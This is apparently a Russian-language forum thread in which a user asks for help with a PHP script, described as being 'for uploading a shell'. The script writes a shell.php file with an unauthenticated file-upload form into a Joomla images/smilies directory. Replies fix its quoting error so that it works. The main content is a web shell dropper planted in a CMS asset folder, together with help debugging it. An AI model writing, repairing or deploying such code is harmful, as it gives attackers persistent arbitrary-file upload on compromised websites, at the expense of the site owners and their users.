Здравствуйте! Я тут со скриптиком парюсь для закачки шелла, но там постоянно лезет ошибка начиная с 11-й строки, скажите, в чём ошибка? PHP: <?php $file = fopen("Z:\\home\localhost\www\joomla\images\smilies\shell.php", "w"); fwrite ($file, "<html> <head> <title>Результат загрузки файла</title> </head> <body> <h2><p><b> Форма для загрузки файлов </b></p></h2> <form action="" method="post" enctype="multipart/form-data"> <input type="file" name="filename"><br> <input type="submit" value="Загрузить"><br> </form> <?php if(isset($_FILES)) { if($_FILES["filename"]["size"] > 1024*3*1024) { echo ("Размер файла превышает три мегабайта"); exit; } if(copy($_FILES["filename"]["tmp_name"], "C:\WebServers\home\localhost\www\joomla\images\smilies\ ".$_FILES["filename"]["name"])) { echo("Файл успешно загружен <br>"); echo("Характеристики файла: <br>"); echo("Имя файла: "); echo($_FILES["filename"]["name"]); echo("<br>Размер файла: "); echo($_FILES["filename"]["size"]); echo("<br>Каталог для загрузки: "); echo($_FILES["filename"]["tmp_name"]); echo("<br>Тип файла: "); echo($_FILES["filename"]["type"]); } else { echo("Ошибка загрузки файла");} } else { echo "Загрузите файлы!"; }; ?> </body> </html>"); fclose($file); ?>
У тебя там твоя двойная кавычка закрывается, используй одинарные PHP: fwrite ($file, '<html> ... </html>');
Уже ответили... Или используй для задания атрибутов в твоём Html-коде одинарную кавычку, или экранируй двойную кавычку - \"